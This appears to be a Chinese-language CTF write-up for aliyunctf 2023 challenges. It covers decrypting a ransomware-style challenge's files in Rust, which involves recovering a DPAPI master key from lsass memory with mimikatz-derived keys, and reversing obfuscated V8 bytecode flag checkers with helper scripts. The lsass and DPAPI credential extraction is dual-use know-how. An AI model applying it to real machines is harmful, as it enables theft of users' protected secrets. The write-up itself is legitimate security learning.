fn main() {
let main_key_v = vec![0x51,0xF3,0xE1,0x4A,0xC1,0x54,0x01,0x9F,0xBD,0xDE,0x1C,0x62,0x17,0xE1,0xC6,0x28,0x9E,0x1C,0x72,0x6C,0x6B,0x2A,0xF9,0x2A,0x77,0x39,0x57,0x38,0x66,0xDB,0x85,0x2F]; // random 32
let main_key = StackByteArray::try_from(main_key_v.as_slice()).unwrap();
let kdf = StackKdf::from_parts(main_key.clone(), StackByteArray::from([0u8;8]));
let sub_key_1 = kdf.derive_subkey_to_vec(1).unwrap();
println!("{:02X?}",sub_key_1);
let sub_key_2 = kdf.derive_subkey_to_vec(2).unwrap();
println!("{:02X?}",sub_key_2);
let (p,s) = crypto_box_seed_keypair(sub_key_2.as_slice());
println!("{:02X?}",p.to_vec());
println!("{:02X?}",s.to_vec());
let mut nonce = Nonce::new_byte_array();
crypto_box_seal_nonce(&mut nonce,&p,&RPK);
println!("nonce: {:02X?}", nonce.to_vec());
let mut ciphertext = vec![0u8;48];
crypto_box_easy(&mut ciphertext,main_key_v.as_slice(),&nonce,&RPK,&s).unwrap();
println!("ciphertext: {:02X?}", ciphertext);
println!("ciphertext.len(): 0x{:02X?}", ciphertext.len());
let mut output = vec![0u8;16];
// machine guid
let mut input = vec![0xEAu8,0xC7,0x1D,0xA4,0x81,0x1D,0x4B,0x96,0xB2,0xCA,0x9D,0xEC,0x1E,0xC6,0x00,0x73];
crypto_generichash(&mut output,&input,Some(&sub_key_1)).unwrap();
println!("output: {:02X?}", output);
println!("output: 0x{:02X?}", output.len());
let keypair = KeyPair::<PublicKey, StackByteArray<32>>::from_secret_key(main_key);
println!("keypair.public_key: {:02X?}", keypair.public_key.to_vec());
// keypair.public_key 0-16
// keypair.public_key 16-32
// random 0-16
// random 16-32
// guid
// output
// p 0-32
// ciphertext 0-48
// 140032DF0
let (p,s) = crypto_box_keypair();
// 140032E74
let k = crypto_box_beforenm(&keypair.public_key,&s);
println!("{:02X?}", k);
let mut nonce = Nonce::new_byte_array();
// 140032E9C
crypto_box_seal_nonce(&mut nonce,&p,&keypair.public_key);
println!("nonce: {:02X?}", nonce.to_vec());
}
测试机的数据:
eac71da4-811d-4b96-b2ca-9dec1ec60073
EMtSdCKqpGEtoDVb3uF8yw
28JBCd6raHW5eNccRZBNbQdYP3Do3HTHdzoQgohymqFmB6Dsp6AWXD11HenYpkx4WgHWYsqyy69Kzrh7jtmW3G6V8s2hZCoxhStGvRLZza5H2b
db c2 41 09 de ab 68 75 b9 78 d7 1c 45 90 4d 6d 07 58 3f 70 e8 dc 74 c7 77 3a 10 82 88 72 9a a1 66 07 a0 ec a7 a0 16 5c 3d 75 1d e9 d8 a6 4c 78 5a 01 d6 62 ca b2 cb af 4a ce b8 7b 8e d9 96 dc 6e 95 f2 cd a1 64 2a 31 85 2b 46 bd 12 d9 cd ae 47 d9
000001FF71614440 EA C7 1D A4 81 1D 4B 96 B2 CA 9D EC 1E C6 00 73 êÇ.¤..K.²Ê.ì.Æ.s
000001FF71614450 51 F3 E1 4A C1 54 01 9F BD DE 1C 62 17 E1 C6 28 QóáJÁT..½Þ.b.áÆ(
000001FF71614460 9E 1C 72 6C 6B 2A F9 2A 77 39 57 38 66 DB 85 2F ..rlk*ù*w9W8fÛ./
derive的结果是
- blake2b hash的GUID
- 原始GUID
- 一个Nonce String(最后的一大串Base64)
- crypto_secretbox_easy做一次加密
- 新生成的SecretKey
推导并解密DPAPI User Master Key
内存里用master key guid找到lsass储存的Key。
然后结合mimikatz代码推导LsaUnprotect所需的Lsa内部key kAes和k3Des。
用k3Des解密即可。
Victim的解密数据:
master key: 3cae8cfc4908eeff477f50b22cd7d11cd84c4c4c0290b7d0fe07ce2114b541d195e5f3a24a509dff21e9496e7ec1d8e2e84942990e5971130141f93e4226bb5a
mimikatz # dpapi::blob /in:D:\\Workspaces\\CTFWorkspace\\aliyunctf2023\\happyropeware_attachment\\happyropeware\\victim_enc.txt /masterkey:3cae8cfc4908eeff477f50b22cd7d11cd84c4c4c0290b7d0fe07ce2114b541d195e5f3a24a509dff21e9496e7ec1d8e2e84942990e5971130141f93e4226bb5a
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {c316fe74-6148-442b-b9fd-ac64b2d63547}
dwFlags : 00000000 - 0 ()
dwDescriptionLen : 00000002 - 2
szDescription :
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d14c05f8cd0c8e210d0e381d6f051a60235b938488c5c3ced3e211420d71e373
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 4eab19fd4f710fcc85cf069873faa9937a269d4d1f1c6d1f5bb16f54484df693
dwDataLen : 00000040 - 64
pbData : e1537eb26843a7ec8d074d7da02eeb2fd832af71a3a4f5d3889a6705b8024d11170bca2cbfa6f8be98cd1b61c0386c401523308f0389cdb48a48e51f95df3334
dwSignLen : 00000040 - 64
pbSign : f1e584032b40f5ff1f85117fc71b2d4e3e4de14ad45ab3a181113d534802beaa1b892f9953f3988dfd80aa6aaffb4b55297778717ece422134a0f92b4bb7af68
* masterkey : 3cae8cfc4908eeff477f50b22cd7d11cd84c4c4c0290b7d0fe07ce2114b541d195e5f3a24a509dff21e9496e7ec1d8e2e84942990e5971130141f93e4226bb5a
description :
data: 07 a9 a2 bc 7b 6a 41 d3 b5 39 45 27 a3 6f bf 3e bd 78 95 1e b4 4e 5b f8 08 8c 72 2c 96 bd 7e 4c 8d 49 4c 3e 71 58 8b d5 f6 0a fd f4 51 1b 15 a7
Your victim identifier is:
07a9a2bc-7b6a-41d3-b539-4527a36fbf3e
Y7HeC6UnncKR9sKZfquKbU
27P4Ncyf799HtYGMBEru7JsNSC6bgfASE9Su1jk3cS9e54KoUzjwnjUUcrqME8TTC1kdW9jU7DU59hxFfojRwk8KurXstvfVxXK5JpHmoZtuwT
逆向解密部分,解出flag
use std::fs;
use dryoc::classic::crypto_box::{crypto_box_beforenm, crypto_box_easy, crypto_box_keypair, crypto_box_seal_open, crypto_box_seed_keypair, Nonce, PublicKey, SecretKey, crypto_box_open_detached};
use dryoc::classic::crypto_generichash::{crypto_generichash, crypto_generichash_final, crypto_generichash_init, crypto_generichash_update};
use dryoc::classic::crypto_secretbox::crypto_secretbox_easy;
use dryoc::constants::CRYPTO_BOX_NONCEBYTES;
use dryoc::kdf::{StackKdf, Context};
use dryoc::types::{NewByteArray, StackByteArray, ByteArray};
use dryoc::keypair::KeyPair;
const SERVER_PUB_KEY:SecretKey = [0xA2u8, 0x71, 0x17, 0xAF, 0xB3, 0xE4, 0x5F, 0xB0, 0x21, 0xF3,
0x05, 0xE8, 0x90, 0x71, 0xA6, 0x0E, 0x93, 0x31, 0xB6, 0x3A,
0xDE, 0xB1, 0xB0, 0x57, 0x32, 0xDD, 0x07, 0x4E, 0xE1, 0x44,
0x66, 0x62];
fn crypto_box_seal_nonce(nonce: &mut Nonce, epk: &PublicKey, rpk: &SecretKey) {
let mut state = crypto_generichash_init(None, CRYPTO_BOX_NONCEBYTES).expect("state");
crypto_generichash_update(&mut state, epk);
crypto_generichash_update(&mut state, rpk);
crypto_generichash_final(state, nonce).expect("hash error");
}
fn main() {
let userMasterKey_v = vec![0xBD, 0x78, 0x95, 0x1E, 0xB4, 0x4E, 0x5B, 0xF8, 0x08, 0x8C, 0x72, 0x2C, 0x96, 0xBD, 0x7E, 0x4C, 0x8D, 0x49, 0x4C, 0x3E, 0x71, 0x58, 0x8B, 0xD5, 0xF6, 0x0A, 0xFD, 0xF4, 0x51, 0x1B, 0x15, 0xA7];
let userMasterKey = StackByteArray::try_from(userMasterKey_v.as_slice()).unwrap();
let kdf = StackKdf::from_parts(userMasterKey.clone(), Context::default());
let sub_key_1 = kdf.derive_subkey_to_vec(1).unwrap();
println!("{:02X?}",sub_key_1);
let sub_key_2 = kdf.derive_subkey_to_vec(2).unwrap();
println!("{:02X?}",sub_key_2);
let mut output: Vec<u8> = vec![0u8;16];
let mut input: Vec<u8> = vec![0x07, 0xA9, 0xA2, 0xBC, 0x7B, 0x6A, 0x41, 0xD3, 0xB5, 0x39, 0x45, 0x27, 0xA3, 0x6F, 0xBF, 0x3E ];
crypto_generichash(&mut output, &input,Some(&sub_key_1)).unwrap();
println!("encGUID: {:02X?}", output);
println!("encGUID len: 0x{:02X?}", output.len());
let userKeyPair = KeyPair::<PublicKey, StackByteArray<32>>::from_secret_key(userMasterKey);
let mut encBytes = fs::read("flag.docx.UCryNow").unwrap();
let mut encFileHeader = fs::read("flag.docx.UCryNow_HRW").unwrap();
let filePubKey = &encFileHeader[0x10..0x30];
let mac = &encFileHeader[0x30..0x40];
// let mac = &vec![82, 224, 32, 231, 191, 39, 228, 246,232,164,60,158,120,85,24,47];
// let mac = &vec![125,140,95,233,214,208,47,151,24,46,240,195,191,189,111,250];
let mut nonce = Nonce::new_byte_array();
let mut epk = PublicKey::new_byte_array();
epk.copy_from_slice(filePubKey);
crypto_box_seal_nonce(&mut nonce, &epk, &userKeyPair.public_key);
// let mut buffer = Vec::new();
// file.read_to_end(&mut buffer)?;
// let mac = vec![0x71, 0xAB, 0xEB, 0x4B, 0xCD, 0x76, 0x34, 0x81, 0x3C, 0x01, 0x2B, 0x1E, 0x4A, 0xC9, 0x6D, 0x1F ];
let mut decBytes = vec![0u8; encBytes.len()];
crypto_box_open_detached(&mut decBytes, mac.as_array(), &encBytes, &nonce, &epk, &userKeyPair.secret_key.as_array()).unwrap();
fs::write("flag.docx", decBytes);
// keypair.public_key 0-16
// keypair.public_key 16-32
// random 0-16
// random 16-32
// guid
// output
// newPubKey 0-32
// ciphertext 0-48
// // 140032DF0
// let (newPubKey,newPrivKey) = crypto_box_keypair();
// // 140032E74
// let k = crypto_box_beforenm(&keypair.public_key,&newPrivKey);
// println!("{:02X?}", k);
// let mut nonce = Nonce::new_byte_array();
// // 140032E9C
// crypto_box_seal_nonce(&mut nonce,&newPubKey,&keypair.public_key);
// println!("nonce: {:02X?}", nonce.to_vec());
}
字节码跳动
根据run.sh得知,flagchecker.jsc是flagchecker.js编译产生的,用来验证flag,并且将flagchecker.js的字节码输出到了flagchecker_bytecode.txt中。如果不存在flagchecker.js文件,则直接使用./node ./runner.js $FLAG 检验flag
写过txt解释器,目前能想到的最好的办法就是对着字节码撸
Mas0nShi/v8-bytecode-interpreter: A mini bytecode Interpreter for v8. (github.com)
字节码参考资料
https://www.alibabacloud.com/blog/javascript-bytecode-v8-ignition-instructions_599188
Ignition Bytecode for V8 Interpreter - 翻车鱼 (shi1011.cn)
main
function ccc(inp, out, check) {
let i = 0;
let key = 170;
for (i = 0; i < 19; i++) {
out[i] = (inp[i] + 51 + key) & 255;
key = out[i];
}
let key2 = 85;
for (i = 19; i < 43; i++) {
out[i] = (inp[i] + key2) & 255;
key2 = (out[i] ^ key2) & 255;
}
if (key2 != 159) {
return false;
}
i = 0;
for (i = 0; i < 43; i++) {
if (out[i] != check[i]) {
return false;
}
}
}
function aaa(argv0) {
const buf = Buffer.from(argv0);
if (buf.length !== 43) {
return false;
}
const v0 = Buffer.alloc(43);
const v1 = Buffer.from("3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae", "hex");
return ccc(buf, v0, v1);
}
function main() {
const flag = process.argv[2];
if (!flag) {
console.log("Error!");
}
if (aaa(process.argv[2])) {
console.log("Right!");
} else {
console.log("Wrong!");
}
}
function decrypt_ccc() {
const v0 = Buffer.from("3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae", "hex");
const v1 = Buffer.alloc(43);
let i = 0;
let key = 170;
for (i = 0; i < 19; i++) {
v1[i] = (v0[i] - 51 - key) & 255;
key = v0[i];
}
let key2 = 85;
for (i = 19; i < 43; i++) {
v1[i] = (v0[i] - key2) & 255;
key2 = (v0[i] ^ key2) & 255;
}
console.log(v1.toString("hex"));
}
//call the function decrypt_ccc
decrypt_ccc();
字节码芭蕾
魔改点
0x00: ^ 0xDEAD0000
+0x1C: ^ 0xDEADBEEF
+0x20
+0x24
然后是对payload的rc4 encrypt +0x40
魔改的rc4
-
解密脚本
from pwn import * path = r"flagchecker.jsc" data = open(path, "rb").read() data = bytearray(data) # +0x00: ^ 0xDEAD0000 def xor32(b, key): return p32(u32(b) ^ key) def x(s, key): data[s:s+4] = xor32(data[s:s+4], key) def rc4(data): key = b'CodeSerializer' Sbox = list(range(256)) Sbox2 = [0] * 256 Sbox2[0] = 67 for i in range(2, 257): Sbox2[i - 1] = key[(i - 1) % 0xE] j = 0 for i in range(256): j = (j + Sbox[i] + Sbox2[i]) % 256 Sbox[i], Sbox[j] = Sbox[j], Sbox[i] # print(bytearray(Sbox).hex(" ")) i = 0 j = 0 for m in range(0, len(data)): i = (i + 1) % 256 j = (j + Sbox[i]) % 256 Sbox[i], Sbox[j] = Sbox[j], Sbox[i] data[m] ^= Sbox[(Sbox[i] + Sbox[j]) % 256] return data x(0x00, 0xDEAD0000) x(0x00, 0xC0DE0000) print(data[0x00:0x04].hex(" ")) x(0x1C, 0xDEADBEEF) x(0x20, 0xDEADBEEF) x(0x24, 0xDEADBEEF) length = u32(data[0x1C:0x20]) print(f"payload length: {hex(length)}") data[0x40:0x40 + length] = rc4(data[0x40:0x40 + length]) open(path+".dec", "wb").write(data)
拿到解密之后的jsc
字节码也被换掉了
定位字节码v8::internal::interpreter::Bytecodes::ToString
-
糊一个ida python dump
from ida_bytes import * from ida_idc import * import re jump_table_ptr = 0x0563EF0DB3054 def matchStr(addr, d): s = re.findall(r"\\"(.*?)\\"", d) assert len(s) == 1, hex(ptr) + "\\t" + d return s[0] def get_bytecode_string(idx): offset = get_dword(jump_table_ptr + idx * 4) ptr = jump_table_ptr + offset - 0x100000000 #print(hex(ptr), offset, ida_lines.generate_disassembly(ptr, 2, 2, 0)) l, data = ida_lines.generate_disassembly(ptr, 2, 2, 0) print(data[1]) return idx, matchStr(ptr, data[1]) maps = [] for i in range(168): quate = get_bytecode_string(i) maps.append(quate) print(quate)
-
原始码表
[ (0x00, "Wide"), (0x01, "ExtraWide"), (0x02, "LdaZero"), (0x03, "LdaSmi"), (0x04, "LdaUndefined"), (0x05, "LdaNull"), (0x06, "LdaTheHole"), (0x07, "LdaTrue"), (0x08, "LdaFalse"), (0x09, "LdaConstant"), (0x0A, "LdaGlobal"), (0x0B, "LdaGlobalInsideTypeof"), (0x0C, "StaGlobalSloppy"), (0x0D, "StaGlobalStrict"), (0x0E, "PushContext"), (0x0F, "PopContext"), (0x10, "LdaContextSlot"), (0x11, "LdaImmutableContextSlot"), (0x12, "LdaCurrentContextSlot"), (0x13, "LdaImmutableCurrentContextSlot"), (0x14, "StaContextSlot"), (0x15, "StaCurrentContextSlot"), (0x16, "LdaLookupSlot"), (0x17, "LdaLookupContextSlot"), (0x18, "LdaLookupGlobalSlot"), (0x19, "LdaLookupSlotInsideTypeof"), (0x1A, "LdaLookupContextSlotInsideTypeof"), (0x1B, "LdaLookupGlobalSlotInsideTypeof"), (0x1C, "StaLookupSlot"), (0x1D, "Ldar"), (0x1E, "Star"), (0x1F, "Mov"), (0x20, "LdaNamedProperty"), (0x21, "LdaKeyedProperty"), (0x22, "LdaModuleVariable"), (0x23, "StaModuleVariable"), (0x24, "StaNamedPropertySloppy"), (0x25, "StaNamedPropertyStrict"), (0x26, "StaNamedOwnProperty"), (0x27, "StaKeyedPropertySloppy"), (0x28, "StaKeyedPropertyStrict"), (0x29, "StaDataPropertyInLiteral"), (0x2A, "CollectTypeProfile"), (0x2B, "Add"), (0x2C, "Sub"), (0x2D, "Mul"), (0x2E, "Div"), (0x2F, "Mod"), (0x30, "BitwiseOr"), (0x31, "BitwiseXor"), (0x32, "BitwiseAnd"), (0x33, "ShiftLeft"), (0x34, "ShiftRight"), (0x35, "ShiftRightLogical"), (0x36, "AddSmi"), (0x37, "SubSmi"), (0x38, "MulSmi"), (0x39, "DivSmi"), (0x3A, "ModSmi"), (0x3B, "BitwiseOrSmi"), (0x3C, "BitwiseXorSmi"), (0x3D, "BitwiseAndSmi"), (0x3E, "ShiftLeftSmi"), (0x3F, "ShiftRightSmi"), (0x40, "ShiftRightLogicalSmi"), (0x41, "Inc"), (0x42, "Dec"), (0x43, "ToBooleanLogicalNot"), (0x44, "LogicalNot"), (0x45, "TypeOf"), (0x46, "DeletePropertyStrict"), (0x47, "DeletePropertySloppy"), (0x48, "GetSuperConstructor"), (0x49, "CallAnyReceiver"), (0x4A, "CallProperty"), (0x4B, "CallProperty0"), (0x4C, "CallProperty1"), (0x4D, "CallProperty2"), (0x4E, "CallUndefinedReceiver"), (0x4F, "CallUndefinedReceiver0"), (0x50, "CallUndefinedReceiver1"), (0x51, "CallUndefinedReceiver2"), (0x52, "CallWithSpread"), (0x53, "CallRuntime"), (0x54, "CallRuntimeForPair"), (0x55, "CallJSRuntime"), (0x56, "InvokeIntrinsic"), (0x57, "Construct"), (0x58, "ConstructWithSpread"), (0x59, "TestEqual"), (0x5A, "TestEqualStrict"), (0x5B, "TestLessThan"), (0x5C, "TestGreaterThan"), (0x5D, "TestLessThanOrEqual"), (0x5E, "TestGreaterThanOrEqual"), (0x5F, "TestEqualStrictNoFeedback"), (0x60, "TestInstanceOf"), (0x61, "TestIn"), (0x62, "TestUndetectable"), (0x63, "TestNull"), (0x64, "TestUndefined"), (0x65, "TestTypeOf"), (0x66, "ToName"), (0x67, "ToNumber"), (0x68, "ToObject"), (0x69, "CreateRegExpLiteral"), (0x6A, "CreateArrayLiteral"), (0x6B, "CreateEmptyArrayLiteral"), (0x6C, "CreateObjectLiteral"), (0x6D, "CreateEmptyObjectLiteral"), (0x6E, "CreateClosure"), (0x6F, "CreateBlockContext"), (0x70, "CreateCatchContext"), (0x71, "CreateFunctionContext"), (0x72, "CreateEvalContext"), (0x73, "CreateWithContext"), (0x74, "CreateMappedArguments"), (0x75, "CreateUnmappedArguments"), (0x76, "CreateRestParameter"), (0x77, "JumpLoop"), (0x78, "Jump"), (0x79, "JumpConstant"), (0x7A, "JumpIfNullConstant"), (0x7B, "JumpIfNotNullConstant"), (0x7C, "JumpIfUndefinedConstant"), (0x7D, "JumpIfNotUndefinedConstant"), (0x7E, "JumpIfTrueConstant"), (0x7F, "JumpIfFalseConstant"), (0x80, "JumpIfJSReceiverConstant"), (0x81, "JumpIfToBooleanTrueConstant"), (0x82, "JumpIfToBooleanFalseConstant"), (0x83, "JumpIfToBooleanTrue"), (0x84, "JumpIfToBooleanFalse"), (0x85, "JumpIfTrue"), (0x86, "JumpIfFalse"), (0x87, "JumpIfNull"), (0x88, "JumpIfNotNull"), (0x89, "JumpIfUndefined"), (0x8A, "JumpIfNotUndefined"), (0x8B, "JumpIfJSReceiver"), (0x8C, "SwitchOnSmiNoFeedback"), (0x8D, "ForInPrepare"), (0x8E, "ForInContinue"), (0x8F, "ForInNext"), (0x90, "ForInStep"), (0x91, "StackCheck"), (0x92, "SetPendingMessage"), (0x93, "Throw"), (0x94, "ReThrow"), (0x95, "Return"), (0x96, "ThrowReferenceErrorIfHole"), (0x97, "ThrowSuperNotCalledIfHole"), (0x98, "ThrowSuperAlreadyCalledIfNotHole"), (0x99, "RestoreGeneratorState"), (0x9A, "SuspendGenerator"), (0x9B, "RestoreGeneratorRegisters"), (0x9C, "Debugger"), (0x9D, "DebugBreak0"), (0x9E, "DebugBreak1"), (0x9F, "DebugBreak2"), (0xA0, "DebugBreak3"), (0xA1, "DebugBreak4"), (0xA2, "DebugBreak5"), (0xA3, "DebugBreak6"), (0xA4, "DebugBreakWide"), (0xA5, "DebugBreakExtraWide"), (0xA6, "IncBlockCounter"), (0xA7, "Illegal"), ]
-
修改的码表
[ (0x0, 'Wide'), (0x1, 'ExtraWide'), (0x2, 'LdaZero'), (0x3, 'JumpLoop'), (0x4, 'LdaUndefined'), (0x5, 'LdaNull'), (0x6, 'LdaTheHole'), (0x7, 'LdaTrue'), (0x8, 'LdaFalse'), (0x9, 'LdaConstant'), (0xa, 'LdaGlobal'), (0xb, 'LdaGlobalInsideTypeof'), (0xc, 'StaGlobalSloppy'), (0xd, 'StaGlobalStrict'), (0xe, 'PushContext'), (0xf, 'PopContext'), (0x10, 'LdaContextSlot'), (0x11, 'LdaImmutableContextSlot'), (0x12, 'LdaCurrentContextSlot'), (0x13, 'LdaImmutableCurrentContextSlot'), (0x14, 'StaContextSlot'), (0x15, 'StaCurrentContextSlot'), (0x16, 'LdaLookupSlot'), (0x17, 'LdaLookupContextSlot'), (0x18, 'LdaLookupGlobalSlot'), (0x19, 'LdaLookupSlotInsideTypeof'), (0x1a, 'LdaLookupContextSlotInsideTypeof'), (0x1b, 'LdaLookupGlobalSlotInsideTypeof'), (0x1c, 'StaLookupSlot'), (0x1d, 'Ldar'), (0x1e, 'Star'), (0x1f, 'Jump'), (0x20, 'CallUndefinedReceiver'), (0x21, 'LdaKeyedProperty'), (0x22, 'LdaModuleVariable'), (0x23, 'StaModuleVariable'), (0x24, 'StaNamedPropertySloppy'), (0x25, 'StaNamedPropertyStrict'), (0x26, 'StaNamedOwnProperty'), (0x27, 'StaKeyedPropertySloppy'), (0x28, 'StaKeyedPropertyStrict'), (0x29, 'StaDataPropertyInLiteral'), (0x2a, 'CollectTypeProfile'), (0x2b, 'Add'), (0x2c, 'Sub'), (0x2d, 'Mul'), (0x2e, 'Div'), (0x2f, 'Mod'), (0x30, 'BitwiseOr'), (0x31, 'BitwiseXor'), (0x32, 'BitwiseAnd'), (0x33, 'ShiftLeft'), (0x34, 'ShiftRight'), (0x35, 'ShiftRightLogical'), (0x36, 'AddSmi'), (0x37, 'SubSmi'), (0x38, 'MulSmi'), (0x39, 'DivSmi'), (0x3a, 'ModSmi'), (0x3b, 'BitwiseOrSmi'), (0x3c, 'BitwiseXorSmi'), (0x3d, 'BitwiseAndSmi'), (0x3e, 'ShiftLeftSmi'), (0x3f, 'ShiftRightSmi'), (0x40, 'ShiftRightLogicalSmi'), (0x41, 'Inc'), (0x42, 'Dec'), (0x43, 'ToBooleanLogicalNot'), (0x44, 'LogicalNot'), (0x45, 'TypeOf'), (0x46, 'DeletePropertyStrict'), (0x47, 'DeletePropertySloppy'), (0x48, 'GetSuperConstructor'), (0x49, 'CallAnyReceiver'), (0x4a, 'CallProperty'), (0x4b, 'CallProperty0'), (0x4c, 'CallProperty1'), (0x4d, 'CallProperty2'), (0x4e, 'LdaNamedProperty'), (0x4f, 'CallUndefinedReceiver0'), (0x50, 'CallUndefinedReceiver1'), (0x51, 'CallUndefinedReceiver2'), (0x52, 'CallWithSpread'), (0x53, 'Return'), (0x54, 'CallRuntimeForPair'), (0x55, 'CallJSRuntime'), (0x56, 'InvokeIntrinsic'), (0x57, 'Construct'), (0x58, 'ConstructWithSpread'), (0x59, 'TestEqual'), (0x5a, 'TestEqualStrict'), (0x5b, 'TestLessThan'), (0x5c, 'TestGreaterThan'), (0x5d, 'TestLessThanOrEqual'), (0x5e, 'TestGreaterThanOrEqual'), (0x5f, 'TestEqualStrictNoFeedback'), (0x60, 'TestInstanceOf'), (0x61, 'TestIn'), (0x62, 'TestUndetectable'), (0x63, 'TestNull'), (0x64, 'TestUndefined'), (0x65, 'TestTypeOf'), (0x66, 'ToName'), (0x67, 'ToNumber'), (0x68, 'ToObject'), (0x69, 'CreateRegExpLiteral'), (0x6a, 'CreateArrayLiteral'), (0x6b, 'CreateEmptyArrayLiteral'), (0x6c, 'CreateObjectLiteral'), (0x6d, 'CreateEmptyObjectLiteral'), (0x6e, 'CreateClosure'), (0x6f, 'CreateBlockContext'), (0x70, 'CreateCatchContext'), (0x71, 'CreateFunctionContext'), (0x72, 'CreateEvalContext'), (0x73, 'CreateWithContext'), (0x74, 'CreateMappedArguments'), (0x75, 'CreateUnmappedArguments'), (0x76, 'CreateRestParameter'), (0x77, 'LdaSmi'), (0x78, 'Mov'), (0x79, 'JumpConstant'), (0x7a, 'JumpIfNullConstant'), (0x7b, 'JumpIfNotNullConstant'), (0x7c, 'JumpIfUndefinedConstant'), (0x7d, 'JumpIfNotUndefinedConstant'), (0x7e, 'JumpIfTrueConstant'), (0x7f, 'JumpIfFalseConstant'), (0x80, 'JumpIfJSReceiverConstant'), (0x81, 'JumpIfToBooleanTrueConstant'), (0x82, 'JumpIfToBooleanFalseConstant'), (0x83, 'JumpIfToBooleanTrue'), (0x84, 'JumpIfToBooleanFalse'), (0x85, 'JumpIfTrue'), (0x86, 'JumpIfFalse'), (0x87, 'JumpIfNull'), (0x88, 'JumpIfNotNull'), (0x89, 'JumpIfUndefined'), (0x8a, 'JumpIfNotUndefined'), (0x8b, 'JumpIfJSReceiver'), (0x8c, 'SwitchOnSmiNoFeedback'), (0x8d, 'ForInPrepare'), (0x8e, 'ForInContinue'), (0x8f, 'ForInNext'), (0x90, 'ForInStep'), (0x91, 'StackCheck'), (0x92, 'SetPendingMessage'), (0x93, 'Throw'), (0x94, 'ReThrow'), (0x95, 'CallRuntime'), (0x96, 'ThrowReferenceErrorIfHole'), (0x97, 'ThrowSuperNotCalledIfHole'), (0x98, 'ThrowSuperAlreadyCalledIfNotHole'), (0x99, 'RestoreGeneratorState'), (0x9a, 'SuspendGenerator'), (0x9b, 'RestoreGeneratorRegisters'), (0x9c, 'Debugger'), (0x9d, 'DebugBreak0'), (0x9e, 'DebugBreak1'), (0x9f, 'DebugBreak2'), (0xa0, 'DebugBreak3'), (0xa1, 'DebugBreak4'), (0xa2, 'DebugBreak5'), (0xa3, 'DebugBreak6'), (0xa4, 'DebugBreakWide'), (0xa5, 'DebugBreakExtraWide'), (0xa6, 'IncBlockCounter'), (0xa7, 'Illegal') ]
patch字节码之后的鸡爪插件
ghidra_9.2.2_PUBLIC_20230422_ghidra_nodejs.zip
-
逆了一部分js
function a(r, q) { for (let idx = 0; idx < q.length; idx++) { q[idx] = q[idx] ^ r; } return q; } function b(r, q) { if (r.length != q.length) { console.log("length."); } for (let idx = 0; idx < q.length; idx++) { q[idx] = q[idx] ^ r[idx]; } return q; } function c(r, q) { const c4 = 4; const uVar3 = new Array(8); let i = 0; while (i < c4 * 4) { uVar3[i % 4] = q[Math.floor(i / 4)]; i++; } const uVar2 = h(c4, 0, r, uVar3); for (let i = 1; i < r.length / 4; i++) { e(c4, uVar2); f(c4, uVar2); g(c4, uVar2); h(c4, i, r, uVar2); } e(c4, uVar2); f(c4, uVar2); h(c4, r.length / 4, r, uVar2); const arr = new Array(c4 * 4); for (let i = 0; i < c4 * 4; i++) { arr[i] = uVar2[i % 4][Math.floor(i / 4)]; } return arr; } function d() { } function e() { } function f() { } function g() { } function h() { } function j() { } function k(q) { } function o() { if (process.argv.length != 3) { return -1 } var flag = process.argv[2] if (flag.length != 0x2b) { return -1; } if (flag.startsWith('aliyunctf{') && flag.endsWith('}')) { let flag1 = flag.slice(0x1a, 10) let flag2 = flag.slice(0x2a, 0x1a) let key1 = Buffer.from('1a63213c367a0728') let iv1 = Buffer.from('511389d8e09e3118') key1 = a(0x55, key1) iv1 = a(0xcc, iv1) // aes cbc encrypt let m = d(key1) // KeyExpansion b(iv1, flag1) // iv1 xor flag1 flag1 = c(m, flag1) // aes Cipher b(flag1, flag2) // flag1 xor flag2 flag2 = c(m, flag2) // aes Cipher let flag3 = flag1.concat(flag2) for (let i = 0; i < 0x20; i++) { if (flag3[i] != check[i]) { return -1 } } } else { return -1; } } function p() { if (o()) { console.log("Wrong!"); } else { console.log("Right!"); } }
看起来是个AES CBC 128
这个看起来像比较的数据
check = [
0xEC, 0xB9, 0xF6, 0xA3, 0x99, 0x97, 0x0A, 0x06,
0x9E, 0x64, 0x2E, 0x01, 0xBB, 0x15, 0xC0, 0x3C,
0x2B, 0x69, 0x92, 0xFA, 0xF7, 0x80, 0x05, 0x90,
0x78, 0xF4, 0x68, 0x56, 0xC4, 0x6E, 0xBC, 0x55,
]
sbox = [
0x56, 0x0B, 0x6B, 0x9D, 0x91, 0xE9, 0xBF, 0x74,
0xD4, 0x8E, 0x88, 0x40, 0xC8, 0x68, 0x35, 0x25,
0x0A, 0x97, 0x5A, 0xAF, 0x03, 0xD1, 0xDE, 0xFA,
0x13, 0xDB, 0xF2, 0xA5, 0x4B, 0x8B, 0x1A, 0x2F,
0x8F, 0x27, 0xC0, 0x3D, 0x3B, 0x95, 0x07, 0xC7,
0x1D, 0x1E, 0x7A, 0x86, 0xA6, 0xFC, 0xD0, 0x01,
0xA0, 0xF1, 0x29, 0x6F, 0x7C, 0xF8, 0x1C, 0x22,
0x6A, 0x6E, 0xF5, 0x38, 0x16, 0x48, 0xB0, 0xE7,
0xDC, 0xB5, 0x23, 0xB6, 0x89, 0x75, 0x60, 0xCA,
0x4A, 0xBD, 0x9C, 0xDF, 0x0D, 0x34, 0xBE, 0xF0,
0xA8, 0xEC, 0xE0, 0xBB, 0x85, 0x21, 0x5E, 0x99,
0x58, 0xC4, 0xD8, 0x0F, 0x6D, 0x49, 0x70, 0x92,
0xF9, 0x31, 0x2D, 0xA3, 0xAB, 0xE1, 0x0E, 0xE8,
0x84, 0x4D, 0x90, 0x2E, 0xB8, 0xD5, 0xAD, 0x14,
0x62, 0x63, 0xB9, 0xED, 0x54, 0x7B, 0x06, 0x5C,
0x5B, 0x02, 0x3C, 0x18, 0x6C, 0xB2, 0x51, 0x7E,
0x28, 0xBC, 0xD9, 0xCE, 0xF4, 0xD7, 0x45, 0xA4,
